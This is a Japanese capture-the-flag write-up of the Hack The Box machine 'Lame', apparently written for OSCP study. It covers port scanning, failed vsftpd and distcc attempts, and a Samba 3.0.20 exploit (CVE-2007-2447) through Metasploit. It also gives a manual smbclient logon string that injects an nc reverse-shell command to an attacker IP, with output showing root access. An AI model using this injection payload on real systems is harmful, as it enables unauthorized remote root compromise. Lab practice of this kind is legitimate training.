Executive summary
- Easy Boxの中でも簡単
- Samba 3.0.20の脆弱性(CVE-2007-2447)を悪用する https://nvd.nist.gov/vuln/detail/CVE-2007-2447
- 一気にrootが取得できる
- Metasploitを使用しないPoCは若干不安定
Tool / Command
- nmap
- smbmap
- smbclient
- Metasploit
- logon "/=
nohup nc 10.10.14.11 4444 -e /bin/bash
" - python -c 'import pty; pty.spawn("/bin/bash")'
1. PortScan
「21/tcp」「22/tcp」「139/tcp」「445/tcp」が開いている
sudo nmap 10.10.10.3 -sS -T4 -sVC --max-rate 1000 --min-rate 1000 -Pn
└─$ sudo nmap 10.10.10.3 -sS -T4 -sVC --max-rate 1000 --min-rate 1000 -Pn
[sudo] kali のパスワード:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-18 19:39 JST
Nmap scan report for 10.10.10.3
Host is up (0.31s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.11
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2023-04-18T06:40:02-04:00
|_clock-skew: mean: 2h00m20s, deviation: 2h49m43s, median: 19s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.63 seconds
また、フルポートスキャンを実行すると「3632/tcp」がopenになっていることがわかる
sudo nmap 10.10.10.3 -sS -T4 -sVC --max-rate 1000 --min-rate 1000 -Pn -p-
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
2. Local Shell
FTP:ftp vsftpd 2.3.4(失敗例)
FTPに対して侵入を試みる
匿名ログインは可能だが、何もない
ftp 10.10.10.3
└─$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||30756|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> quit
221 Goodbye.
SearchSploitで「vsftpd 2.3.4」を検索する
MetasploitのPoCを試すがうまくいかない
searchsploit vsftpd 2.3.4
└─$ searchsploit vsftpd 2.3.4
------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
msfconsole
search vsftpd 2.3.4
msf6 > search vsftpd 2.3.4
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
use 0
set rhosts 10.10.10.3
options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.3 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Met
asploit
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
exploit
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exit
SMB:smb Samba 3.0.20(成功例)
SMBに対して侵入を試みる
匿名ログインで「tmp」にアクセスできるが、特に何もない
smbmap -H 10.10.10.3
└─$ smbmap -H 10.10.10.3
[+] IP: 10.10.10.3:445 Name: 10.10.10.3
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
smbclient //10.10.10.3/tmp
└─$ smbclient //10.10.10.3/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Apr 18 21:33:31 2023
.. DR 0 Sat Oct 31 15:33:58 2020
orbit-makis DR 0 Tue Apr 18 19:25:31 2023
.ICE-unix DH 0 Tue Apr 18 19:21:34 2023
vmware-root DR 0 Tue Apr 18 19:22:02 2023
.X11-unix DH 0 Tue Apr 18 19:21:59 2023
gconfd-makis DR 0 Tue Apr 18 19:25:31 2023
5560.jsvc_up R 0 Tue Apr 18 19:22:36 2023
.X0-lock HR 11 Tue Apr 18 19:21:59 2023
vgauthsvclog.txt.0 R 1600 Tue Apr 18 19:21:32 2023
7282168 blocks of size 1024. 5385996 blocks available
smb: \> quit
SearchSploitで「Samba 3.0.20」を検索する
MetasploitのPoCを試すとリバースシェルが取れる
searchsploit Samba 3.0.20
└─$ searchsploit Samba 3.0.20
------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
msfconsole
search Samba 3.0.20
msf6 > search Samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
use 0
set rhosts 10.10.10.3
set lhost 10.10.14.11
options
msf6 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.3 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wik
i/Using-Metasploit
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.11 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
exploit
いつものおまじないコマンドを実行する
python -c 'import pty; pty.spawn("/bin/bash")'
ルート権限が取得できる
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.14.11:4444
[*] Command shell session 1 opened (10.10.14.11:4444 -> 10.10.10.3:36076) at 2023-04-18 22:45:42 +0900
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/# id
id
uid=0(root) gid=0(root)
root@lame:/# pwd
pwd
/
root@lame:/# cd home
cd home
root@lame:/home# ls -la
ls -la
total 24
drwxr-xr-x 6 root root 4096 Mar 14 2017 .
drwxr-xr-x 21 root root 4096 Oct 31 2020 ..
drwxr-xr-x 2 root nogroup 4096 Mar 17 2010 ftp
drwxr-xr-x 4 makis makis 4096 Apr 18 06:25 makis
drwxr-xr-x 2 service service 4096 Apr 16 2010 service
drwxr-xr-x 3 1001 1001 4096 May 7 2010 user
root@lame:/home# cd makis
cd makis
root@lame:/home/makis# ls -la
ls -la
total 36
drwxr-xr-x 4 makis makis 4096 Apr 18 06:25 .
drwxr-xr-x 6 root root 4096 Mar 14 2017 ..
-rw------- 1 makis makis 1107 Mar 14 2017 .bash_history
-rw-r--r-- 1 makis makis 220 Mar 14 2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14 2017 .bashrc
drwx------ 2 makis makis 4096 Apr 18 06:25 .gconf
drwx------ 2 makis makis 4096 Apr 18 06:25 .gconfd
-rw-r--r-- 1 makis makis 586 Mar 14 2017 .profile
-rw-r--r-- 1 makis makis 0 Mar 14 2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis 33 Apr 18 06:21 user.txt
root@lame:/home/makis# cat user.txt
cat user.txt
9c076f6d1db0b521168cc3**********
root@lame:/home/makis# cat /root/root.txt
cat /root/root.txt
af5bcf339e6b2c7d8b5c3a**********
distcc(失敗例)
distccに対して侵入を試みる
SearchSploitで「distcc」を検索する
MetasploitのPoCを試すがうまくいかない
searchsploit distcc
└─$ searchsploit distcc
-------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------- ---------------------------------
DistCC Daemon - Command Execution (Metasploit) | multiple/remote/9915.rb
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
msfconsole
search distcc
msf6 > search distcc
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec
use 0
set rhosts 10.10.10.3
set lhost 10.10.14.11
options
msf6 exploit(unix/misc/distcc_exec) > options
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.3 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wik
i/Using-Metasploit
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.11 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
exploit
msf6 exploit(unix/misc/distcc_exec) > exploit
[*] Started reverse TCP handler on 10.10.14.11:4444
[*] 10.10.10.3:3632 - stderr: bash: 215: Bad file descriptor
[*] 10.10.10.3:3632 - stderr: bash: /dev/tcp/10.10.14.11/4444: No such file or directory
[*] 10.10.10.3:3632 - stderr: bash: 215: Bad file descriptor
[*] Exploit completed, but no session was created.
(参考)SMB:smb Samba 3.0.20(Metasploitを使用しない成功例)
OSCPではMetasploitは1Boxしか使用できないので、覚えておくことを推奨する
smbclient //10.10.10.3/tmp
PoCを実行する
logon "/=`nohup nc 10.10.14.11 4444 -e /bin/bash`"
ポート「4444」で待ち受ける
nc -lnvp 4444
いつものおまじないコマンドを実行する
python -c 'import pty; pty.spawn("/bin/bash")'
ルート権限が取得できる
└─$ smbclient //10.10.10.3/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "/=`nohup nc 10.10.14.11 4444 -e /bin/bash`"
Password:
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.3] 40458
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/# id
id
uid=0(root) gid=0(root)
root@lame:/# pwd
pwd
/
root@lame:/# cd home
cd home
root@lame:/home# ls -la
ls -la
total 24
drwxr-xr-x 6 root root 4096 Mar 14 2017 .
drwxr-xr-x 21 root root 4096 Oct 31 2020 ..
drwxr-xr-x 2 root nogroup 4096 Mar 17 2010 ftp
drwxr-xr-x 4 makis makis 4096 Apr 18 06:25 makis
drwxr-xr-x 2 service service 4096 Apr 16 2010 service
drwxr-xr-x 3 1001 1001 4096 May 7 2010 user
root@lame:/home# cd makis
cd makis
root@lame:/home/makis# ls -la
ls -la
total 36
drwxr-xr-x 4 makis makis 4096 Apr 18 06:25 .
drwxr-xr-x 6 root root 4096 Mar 14 2017 ..
-rw------- 1 makis makis 1107 Mar 14 2017 .bash_history
-rw-r--r-- 1 makis makis 220 Mar 14 2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14 2017 .bashrc
drwx------ 2 makis makis 4096 Apr 18 06:25 .gconf
drwx------ 2 makis makis 4096 Apr 18 06:25 .gconfd
-rw-r--r-- 1 makis makis 586 Mar 14 2017 .profile
-rw-r--r-- 1 makis makis 0 Mar 14 2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis 33 Apr 18 06:21 user.txt
root@lame:/home/makis# cat user.txt
cat user.txt
9c076f6d1db0b521168cc3**********
root@lame:/home/makis# cat /root/root.txt
cat /root/root.txt
af5bcf339e6b2c7d8b5c3a**********
以上